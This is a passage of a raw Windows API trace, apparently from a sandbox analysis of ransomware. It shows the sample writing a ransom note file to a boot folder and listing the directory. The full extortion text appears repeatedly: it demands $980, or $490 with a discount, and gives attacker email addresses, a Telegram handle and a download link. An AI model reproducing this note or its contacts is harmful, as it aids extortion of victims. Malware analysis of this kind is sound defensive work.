Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.128] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.128] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.128] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.128] PathFindFileNameW (pszPath="") returned="" [0059.128] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.128] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.129] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.129] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.129] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x81c) returned 0x30c8ab8 [0059.129] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0059.129] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.129] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0059.130] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.130] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.130] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.130] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.130] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.131] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.131] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.131] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.131] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.131] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.132] CloseHandle (hObject=0x5c0) returned 1 [0059.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.132] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.132] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.132] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.132] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.132] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.132] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.132] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.133] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.133] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.133] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.133] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.134] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.135] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.135] HeapFree (in: 